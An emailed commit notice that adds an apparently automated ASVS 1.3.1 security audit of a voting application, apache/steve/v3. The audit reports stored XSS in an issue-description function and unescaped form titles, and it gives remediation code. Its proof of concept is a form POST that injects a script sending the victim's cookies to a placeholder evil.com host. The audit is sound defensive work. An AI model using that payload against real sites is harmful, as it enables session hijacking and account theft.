You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by as...@apache.org on 2026/05/05 20:50:24 UTC
(tooling-agents) branch main updated: ASVS audit: 1.3.1.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
This is an automated email from the ASF dual-hosted git repository.
asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git
The following commit(s) were added to refs/heads/main by this push:
new fd99c54 ASVS audit: 1.3.1.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
fd99c54 is described below
commit fd99c544b08a42cf200f6556a06fabb8eaedf0cd
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Tue May 5 22:50:12 2026 +0200
ASVS audit: 1.3.1.md (redacted) [source: apache/steve/v3 @ d0aa7e9]
---
ASVS/reports/steve/v3/d0aa7e9/all/1.3.1.md | 173 +++++++++++++++++++++++++++++
1 file changed, 173 insertions(+)
diff --git a/ASVS/reports/steve/v3/d0aa7e9/all/1.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/all/1.3.1.md
new file mode 100644
index 0000000..dfa6a6e
--- /dev/null
+++ b/ASVS/reports/steve/v3/d0aa7e9/all/1.3.1.md
@@ -0,0 +1,173 @@
+# Security Audit Report: ASVS 1.3.1
+
+## Executive Summary
+
+| Field | Value |
+|-------|-------|
+| **Repository** | apache/steve/v3 |
+| **Audit Date** | May 05, 2026 |
+| **Auditor** | Tooling Agents (bundled-pass mode) |
+| **ASVS Requirement** | ASVS 1.3.1 |
+| **Files Analyzed** | 4 relevant / 49 total |
+| **Files Skipped** | 12 |
+
+**Requirement description:** Verify that all untrusted HTML input from WYSIWYG editors or similar is sanitized using a well-known and secure HTML sanitization library or framework feature.
+
+### Findings Overview
+
+| Severity | Count |
+|----------|-------|
+| 🔴 Critical | 0 |
+| 🟠High | 1 |
+| 🟡 Medium | 1 |
+| 🟢 Low | 0 |
+
+---
+
+## ASVS-1.3.1: HTML Sanitization
+
+### Findings for 1.3.1
+
+### [HIGH] ASVS-131-HIGH-001: Stored XSS via Unsanitized Issue Description in `rewrite_description()`
+
+**File:** `v3/server/pages.py`
+**Function:** `rewrite_description()` (lines 48-55)
+**Entry Points:** `do_add_issue_endpoint()` (line 470), `do_edit_issue_endpoint()` (line 493)
+**Sink:** `vote_on_page()` (line 276)
+
+**Vulnerable Code:**
+```python
+def rewrite_description(issue):
+ """Rewrite issue description: wrap in <pre> and convert doc:filename to links."""
+ import re
+ desc = issue.description
+ # Replace doc:filename with <a> link
+ def repl(match):
+ filename = match.group(1)
+ return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>'
+ desc = re.sub(r'doc:([^\s]+)', repl, desc)
+ # Wrap in <pre>
+ issue.description = f'<pre>{desc}</pre>'
+```
+
+**Data Flow:**
+1. **Source:** User submits form with `description` field via `do_add_issue_endpoint` → `form.description`
+2. **Storage:** `election.add_issue(form.title, form.description, vtype, kv)` stores raw description in database
+3. **Retrieval:** `vote_on_page()` calls `election.list_issues()`, gets description from DB
+4. **Sink:** `rewrite_description(issue)` wraps description in `<pre>` tags and generates `<a>` links — producing raw HTML intended for template rendering without any HTML sanitization
+
+**Proof of Concept:**
+```
+POST /do-add-issue/<eid>
+Content-Type: application/x-www-form-urlencoded
+
+title=Test+Issue&description=</pre><script>document.location='https://evil.com/steal?c='+document.cookie</script><pre>
+```
+
+When another user views the ballot at `/vote-on/<eid>`, the script executes in their browser.
+
+**Impact:** Any authenticated committer who can add/edit issues can inject arbitrary JavaScript that executes in the browsers of all voters viewing the election ballot. In a voting system, this enables vote manipulation, session hijacking, and election integrity compromise.
+
+**Remediation:**
+```python
+import html # or use bleach/nh3 for selective HTML sanitization
+
+def rewrite_description(issue):
+ """Rewrite issue description safely."""
+ desc = html.escape(issue.description) # Escape all HTML entities first
+
+ # Replace doc:filename with <a> link (filename is now escaped)
+ import re
+ def repl(match):
+ filename = match.group(1)
+ # filename is already escaped by html.escape above
+ return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>'
+ desc = re.sub(r'doc:([^\s]+)', repl, desc)
+ issue.description = f'<pre>{desc}</pre>'
+```
+
+---
+
+### [MEDIUM] ASVS-131-MED-001: Unsanitized User Input in Flash Messages
+
+**File:** `v3/server/pages.py`
+**Functions:** `do_create_endpoint()` (line 427), `do_add_issue_endpoint()` (line 487), `do_edit_issue_endpoint()` (line 509)
+
+**Vulnerable Code:**
+```python
+await flash_success(f'Created election: {form.title}')
+await flash_success(f'Issue "{form.title}" has been added.')
+await flash_success(f'Issue "{form.title}" has been updated.')
+```
+
+**Data Flow:** `form.title` (user-controlled) → flash message → EZT template rendering. If EZT templates render flash messages without escaping (likely, given the HTML pattern in `rewrite_description`), this enables reflected XSS.
+
+**Impact:** An attacker could craft a CSRF attack (CSRF protection is absent) that creates an election or issue with a malicious title, causing XSS to execute when the flash message renders for the victim.
+
+**Remediation:**
+```python
+import html
+await flash_success(f'Created election: {html.escape(form.title)}')
+```
+
+---
+
+### Security Controls Inventory for 1.3.1
+
+| Control | Location | Applied At | Coverage Status |
+|---------|----------|------------|-----------------|
+| No HTML sanitization library imported | N/A | N/A | **MISSING** — No library like `bleach`, `nh3`, or `markupsafe` is used anywhere |
+| `<pre>` wrapping | `rewrite_description()` line 55 | `vote_on_page()` | **INSUFFICIENT** — Does not prevent script execution |
+| EZT templating | Templates dir | All pages | **UNKNOWN** — Templates not provided; EZT may or may not auto-escape |
+
+### Positive Patterns for 1.3.1
+
+- The code is authentication-gated — only ASF committers can submit content that reaches the HTML rendering pipeline.
+- The application uses pre-compiled EZT templates rather than dynamic template construction from user input.
+
+---
+
+
+
+## Cross-cutting Architecture Observations
+
+1. **Defense-in-Depth Gap:** The application relies primarily on authentication (`@asfquart.auth.require`) as its sole security layer. There is no input sanitization layer, no output encoding layer, and no content security policy mentioned.
+
+2. **Input → Storage → Rendering Pipeline:** User input (election titles, issue descriptions) flows from forms → database → templates/emails without sanitization at any point in the chain. This creates a systemic vulnerability where any context (HTML, email, logs) that renders stored data is potentially exploitable.
+
+3. **TODO-Driven Security:** Multiple security concerns are acknowledged via comments (`### check authz`, `### verify the propriety of DOCNAME`, CSRF placeholder) but remain unimplemented. This creates a "Type B" gap — the team is aware of the need but the controls don't exist.
+
+4. **Separation of Concerns:** The `mail-voters.py` script operates independently from the web layer, meaning data sanitized for web contexts may not be sanitized for email contexts (and vice versa). Sanitization should occur at storage time for multi-context safety.
+
+5. **Template Engine Trust Boundary:** The code produces raw HTML strings (in `rewrite_description()`) and passes them to EZT templates, suggesting the templates render them unescaped. This inverts the normal trust model where templates provide auto-escaping.
+
+---
+
+## Cross-cutting Recommendations
+
+### Immediate (Critical/High severity)
+
+1. **Implement HTML sanitization in `rewrite_description()`** — Use `html.escape()` on the description content before wrapping in `<pre>` tags. URL-encode filenames in href attributes and HTML-escape them in text content.
+
+2. **Sanitize election titles for SMTP safety** — Add CRLF stripping (`\r`, `\n`, `\x00`) to election title input at the point of creation in `do_create_endpoint()`.
+
+3. **Add input length limits** — Enforce maximum lengths on `form.title` (200 chars) and `form.description` (5000 chars) in all form-processing endpoints.
+
+### Short-term (Medium severity)
+
+4. **Implement a centralized input sanitization utility** — Create a `sanitize` module with context-specific functions: `sanitize_for_html()`, `sanitize_for_email_header()`, `sanitize_for_filename()`, `sanitize_for_log()`.
+
+5. **Validate `docname` parameter** — Add explicit allowlist validation (e.g., `^[a-zA-Z0-9._-]+$`) in `serve_doc()` before the filesystem operation.
+
+6. **Add CSRF protection** — Replace the placeholder token with real generation/validation (noted in TODO.md but critical for POST endpoints that modify state).
+
+### Long-term (Architecture)
+
+7. **Adopt a sanitization-at-storage pattern** — Sanitize all user input when it enters the system (at form submission), ensuring stored data is safe for all downstream contexts.
+
+8. **Migrate to auto-escaping templates** — Consider Jinja2 with auto-escaping enabled instead of EZT, which would provide default XSS protection for all template output.
+
+9. **Implement Content Security Policy headers** — Add CSP headers to mitigate XSS impact even if injection occurs.
+
+10. **Complete authorization model** — The `### check authz` placeholders represent a fundamental security gap. Implement ownership verification (e.g., only election owners can modify their elections).
+
\ No newline at end of file
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org